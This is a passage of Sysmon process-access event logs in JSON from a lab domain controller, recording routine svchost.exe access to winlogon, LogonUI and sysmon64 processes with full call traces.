32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.140","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2368,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.140\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.140","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2369,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.140\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.140","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2370,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.140\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|c:\\windows\\system32\\SYSNTFY.dll+1ad9|C:\\Windows\\System32\\RPCRT4.dll+580d4|C:\\Windows\\System32\\RPCRT4.dll+39ae0|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.140","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|c:\\windows\\system32\\SYSNTFY.dll+1ad9|C:\\Windows\\System32\\RPCRT4.dll+580d4|C:\\Windows\\System32\\RPCRT4.dll+39ae0|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2371,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.140\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+7c8b|c:\\windows\\system32\\lsm.dll+396a|c:\\windows\\system32\\SYSNTFY.dll+1fc3|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+598d8|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.140","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+7c8b|c:\\windows\\system32\\lsm.dll+396a|c:\\windows\\system32\\SYSNTFY.dll+1fc3|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+598d8|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2372,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.140\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+1671d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+d69b2|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.140","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+1671d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+d69b2|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2373,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2374,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2375,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C